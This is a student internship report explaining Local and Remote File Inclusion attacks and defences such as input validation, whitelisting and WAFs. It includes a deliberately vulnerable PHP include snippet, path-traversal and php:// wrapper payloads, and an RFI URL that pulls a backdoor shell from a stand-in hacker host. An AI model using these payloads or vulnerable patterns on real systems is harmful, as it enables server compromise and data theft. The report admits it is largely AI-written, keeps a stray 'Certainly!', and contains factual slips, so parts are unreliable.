FILE INCLUSION ATTACKS: EXPLOITING VULNERABILITIES AND IMPLEMENTING DEFENCES.

Domain: web application security.

CDAC, NOIDA

CYBER GYAN VIRTUAL INTERNSHIP PROGRAM.

Submitted by:

JERIN THOMAS.

Project trainee, June- July 2024.

BONAFIDE CERTIFICATE

This is to certify that this project report entitled File Inclusion Attacks: Exploiting Vulnerabilities and Implementing Defences submitted to CDAC Noida, is a Bonafede record of work done by JERIN THOMAS under my supervision from 10th June 2024 to 19th July 2024.

DECLARATION BY AUTHOR(S)

This is to declare that this report has been written by me/us. No part of the report is plagiarized from other sources. All information included from other sources have been duly acknowledged. I/We aver that if any part of the report is found to be plagiarized, I/we are shall take full responsibility for it.

Name of Author(S): JERIN THOMAS.

TABLE OF CONTENTS

ACKNOWLEDGEMENT

I would like to place on record my sincere gratitude to the project mentor Prateek Sir for the guidance and mentorship throughout this work. I take this opportunity to express my deepest sense of gratitude and sincere thanks to everyone who helped us to complete this work successfully.

We express our sincere thanks to C-DAC, Noida for providing an opportunity to participate in a nation-wide Virtual Internship, Cyber Gyan by giving all the necessary facilities and support.

Finally, we thank our family, and friends who contributed to the successful fulfilment of this project work.

INTRODUCTION

Our subject is file inclusion attacks we know that file inclusion attacks stand out as a significant threat, capable of compromising the integrity and confidentiality of sensitive data. These attacks exploit vulnerabilities in web applications that allow unauthorized inclusion of files, leading to potential data breaches, unauthorized access, and even complete system compromise. The two primary types of file inclusion attacks are Local File Inclusion (LFI) and Remote File Inclusion (RFI).

Local File Inclusion (LFI) occurs when an attacker manipulates input parameters to include files from the local server. This can lead to the exposure of sensitive files such as configuration files, logs, and even password files. By exploiting LFI vulnerabilities, attackers can gain insights into the server's structure, access sensitive information, and potentially execute arbitrary code. On the other hand, Remote File Inclusion (RFI) involves including files from a remote server. This type of attack is particularly dangerous as it allows attackers to execute malicious scripts hosted on their servers, leading to a wide range of malicious activities, including data theft, defacement, and further exploitation of the target system.

The impact of file inclusion attacks can be devastating, making it imperative for developers and security professionals to implement robust defences. Effective mitigation strategies include rigorous input validation, secure coding practices, and the deployment of Web Application Firewalls (WAFs). Input validation ensures that user inputs are thoroughly checked and sanitized, preventing malicious data from being processed. Secure coding practices, such as avoiding dynamic file inclusion and using absolute paths, reduce the attack surface. Additionally, WAFs provide an additional layer of defence by filtering out malicious requests and blocking suspicious patterns associated with file inclusion attacks.

Understanding the mechanics of file inclusion attacks and implementing comprehensive defences is crucial for safeguarding web applications. By staying vigilant and adopting best practices, developers can significantly reduce the risk of these attacks and protect their applications from potential exploitation.

FILE INCLUSION ATTACKS: EXPLOITING VULNERABILITIES AND IMPLEMENTING DEFENSES

PROBLEM STATEMENT:

File inclusion vulnerabilities, specifically Local File Inclusion (LFI) and Remote File Inclusion (RFI), pose serious risks to web applications. These vulnerabilities allow attackers to gain unauthorized access to sensitive files on a web server or execute malicious files by exploiting the 'include' functionality. LFI attacks, in particular, can lead to cross-site scripting (XSS) and even remote code execution. The impact of these attacks varies based on the exploitation and the read permissions of the web server user.

LEARNING OBJECTIVES.

1. Understand the concepts of file inclusion vulnerabilities (Local File Inclusion (LFI) and Remote File Inclusion (RFI))

File inclusion vulnerabilities occur when an application allows user input to influence which files are included or executed by the application. Local File Inclusion (LFI) allows an attacker to include local files on the server, potentially leading to sensitive data exposure or code execution. Remote File Inclusion (RFI) allows an attacker to include remote files, potentially leading to code execution or malware injection. Understanding these concepts is crucial for identifying and preventing file inclusion attacks.

2. Learn how to identify and exploit file inclusion vulnerabilities

Identifying file inclusion vulnerabilities requires analyzing an application's code and configuration to determine if user input can influence file inclusion. Exploiting these vulnerabilities involves crafting malicious input to trick the application into including or executing unauthorized files. This can be done using various techniques, such as manipulating URL parameters or exploiting weak input validation.

3. Understand the impact and consequences of file inclusion attacks

File inclusion attacks can have severe consequences, including sensitive data exposure, code execution, and malware injection. Attackers can use file inclusion vulnerabilities to steal sensitive data, take control of the application or server, or use the application as a pivot point for further attacks. Understanding the impact and consequences of file inclusion attacks highlights the importance of preventing and mitigating these vulnerabilities.

4. Implement defensive measures to prevent file inclusion attacks

Defensive measures against file inclusion attacks include input validation and sanitization, secure coding practices, and configuration hardening. Input validation ensures that user input conforms to expected formats, while sanitization removes potentially malicious characters. Secure coding practices, such as using secure include functions and avoiding user-controlled input, can prevent file inclusion vulnerabilities. Configuration hardening involves securing the application's environment and dependencies.

5. Learn about secure coding practices to prevent file inclusion vulnerabilities

Secure coding practices are essential for preventing file inclusion vulnerabilities. This includes using secure include functions, avoiding user-controlled input, and validating and sanitizing user input. Developers should also use secure protocols for file inclusion, such as HTTPS, and keep dependencies up-to-date to prevent vulnerabilities.

6. Understand how to use security tools and techniques to detect and prevent file inclusion attacks

Security tools and techniques, such as web application firewalls (WAFs), intrusion detection systems (IDS), and static application security testing (SAST) tools, can detect and prevent file inclusion attacks. WAFs can block malicious traffic, while IDS can detect and alert on suspicious activity. SAST tools can identify vulnerabilities in code, including file inclusion vulnerabilities. Understanding how to use these tools and techniques is crucial for detecting and preventing file inclusion attacks.

APPROACH.

Vulnerability Scanners:

1. OWASP ZAP (Zed Attack Proxy): An open-source web application security scanner.
2. Burp Suite: A comprehensive toolkit for web application security testing.
3. Acunetix: A commercial web application security scanner.

Manual Testing Methodologies:

1. Input Validation Testing: Verify that user input is properly validated and sanitized.
2. File Inclusion Testing: Test for file inclusion vulnerabilities by manipulating input parameters.
3. Code Review: Review code for secure coding practices and file inclusion vulnerabilities.

Secure Coding Guidelines:

1. OWASP Secure Coding Practices: A comprehensive guide to secure coding practices.
2. OWASP File Inclusion Cheat Sheet: A guide to preventing file inclusion vulnerabilities.
3. SANS Secure Coding Guidelines: A set of guidelines for secure coding practices.

Additional Tools and Techniques:

1. Web Application Firewalls (WAFs): Use WAFs to detect and block malicious traffic.
2. Intrusion Detection Systems (IDS): Use IDS to detect and alert on suspicious activity.
3. Static Application Security Testing (SAST) Tools: Use SAST tools to identify vulnerabilities in code.
4. Code Analysis Tools: Use code analysis tools to identify security vulnerabilities in code.

IMPLEMENTATION.

LOCAL FILE INCLUSION (LFI).

LFI allows attackers to include files on a server through a web browser.

The vulnerability arises when a web app includes a file without properly sanitizing user input.

Attackers manipulate input to inject path traversal characters and include other files from the web server.

2. Example PHP Code Vulnerable to LFI:

```
php
<?php
$file = $_GET['file'];
if (isset($file)) {
    include("pages/$file");
} else {
    include("index.php");
}
?>
```

In this code, the $_GET['file'] parameter is directly included without proper validation.

3. Identifying LFI Vulnerabilities:

Look for scripts that include files from the server (e.g., /script.php?page=index.html).

Attackers manipulate the file location parameter (e.g., /script. php? page= .. /../../../../../../../etc/passwd).

Successful exploitation reveals sensitive files (like /etc/passwd).

4. Exploitation Techniques:

PHP Wrappers:

Use php://input to execute system commands (e.g., ?page=php://input&cmd=ls).

Base64 encode output using php://filter (e.g., ?page=php://filter/convert.base64-encode/resource=/etc/passwd).

5. Impact of Exploited LFI:

Information Disclosure: Access sensitive files.

Directory Traversal: Navigate outside intended directories.

Remote Code Execution (RCE): Execute arbitrary code.

6. Prevention Measures:

Validate and sanitize user input.

Avoid using user input directly in file paths.

Limit file inclusion to specific directories.

Implement proper access controls.

REMOTE FILE INCLUSION (RFI)

Remote File Inclusion (RFI) is a web vulnerability that allows attackers to include arbitrary code files from a remote location within a web application.

RFI targets vulnerabilities in web apps that dynamically reference external scripts.

Attackers exploit the referencing function to upload malware (e.g., backdoor shells) from a remote URL (different domain).

Consequences include information theft, compromised servers, and site takeover.

2. Examples of RFI:

JSP Page Example:

A JSP page includes this line: <jsp:include page="<%= (String)request.getParameter("ParamName") %>">.

Attacker manipulates the request: Page1.jsp?ParamName=/WEB-INF/DB/password.

Result: Content of the password file exposed.

Web Application Import Statement:

Import statement requests content from a URL: <c:import url="<=request.getParameter("conf")>">.

Attacker injects malware: Page2.jsp?conf=[5](https://evilsite.com/attack.js).

Dynamic File Inclusion (PHP):

Code snippet: $incfile = $_REQUEST["file"]; include($incfile.".php");.

Exploited URL:
[6](http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_shell.php).

Result: Backdoor uploaded, compromising the server.

3. Prevention Measures:

Validate user input to prevent unauthorized file uploads.

Sanitize input used in file paths.

Limit inclusion to specific directories.

Implement proper access controls.

PREVENTING METHODAS & MITIGATION

1. Methods to prevent LFI:

Input Validation:

Validate and sanitize user input before using it in file paths.

Avoid directly including user-supplied data.

Whitelisting:

Maintain a whitelist of allowed files or directories.

Only include files from specific, safe locations.

Restrict Access:

Limit file inclusion to specific directories.

Set proper file permissions to prevent unauthorized access.

Web Application Firewall (WAF):

Use a WAF to detect and block malicious requests.

WAFs can filter out LFI attempts.

2.Methods to prevent RFI:

Avoid Dynamic Includes:

Refrain from dynamically including remote files.

Hardcode file paths instead.

Whitelist External Sources:

Allow inclusion only from trusted domains.

Maintain a list of approved remote URLs.

Server Configuration:

Disable allow_url_include in PHP configuration.

Set strict permissions on server directories.

Security Scans:

Regularly scan for RFI vulnerabilities.

Use tools like OWASP ZAP or Nikto.

Input validation:

Input validation is the process of analyzing inputs and disallowing those which are considered unsuitable. Here's why it's important:

1. Purpose of Input Validation:

Ensures only properly formed data enters an information system.

Prevents malformed data from persisting in databases.

Guards against triggering malfunctions in downstream components.

2. Client-Side vs. Server-Side:

Client-Side Validation:

Performed in the user's browser.

Enhances user experience by providing immediate feedback.

Easily bypassed by attackers.

Server-Side Validation:

Occurs on the server after data submission.

More robust and secure.

Protects against malicious input.

3. Common Input Validation Attacks:

SQL Injection: Malicious SQL queries injected via input fields.

Cross-Site Scripting (XSS): Injecting scripts into web pages.

Path Traversal: Manipulating file paths to access unauthorized files.

Web application firewall:

A Web Application Firewall (WAF) is a security solution that safeguards web applications by monitoring and filtering HTTP traffic. Here's how it works:

1. Protection Against Attacks:

A WAF shields web apps from common threats like cross-site forgery (XSS), SQL injection, and file inclusion.

It filters incoming and outgoing data packets, blocking malicious traffic.

2. Deployment Models:

Network-Based WAF:

Hardware-based, installed locally.

Minimizes latency but is expensive and requires physical equipment.

Host-Based WAF:

Integrated into application software.

More customizable and cost-effective.

Cloud-Based WAF:

Deployed in the cloud.

Offers scalability and ease of management.

3. Security Policies:

WAF operates through rules (policies).

Policies filter out malicious requests.

Quick policy modifications allow rapid response during attacks.

CONCLUSION

Certainly! In conclusion, understanding and mitigating file inclusion vulnerabilities—whether Local File Inclusion (LFI) or Remote File Inclusion (RFI) is crucial for securing web applications. By implementing input validation, restricting file inclusion to specific directories, and leveraging tools like Web Application Firewalls (WAFs), developers can fortify their systems against these risks. Most of this is done through and with the help of AI so, I am also including on his behave of AI. Remember that proactive security practices are essential to safeguarding sensitive data and maintaining the integrity of web services.

REFERENCES.

1. **"Understanding File Inclusion Vulnerabilities" - Article by OWASP.**
2. **"Exploiting Local File Inclusion (LFI) Vulnerabilities" - Tutorial by Pen tester Academy.**
3. **"Preventing File Inclusion Attacks with Secure Coding Practices" - Whitepaper by SANS Institute.**
4. **"Web Application Firewall (WAF) Configuration for File Inclusion Protection" - Guide by Imperva.**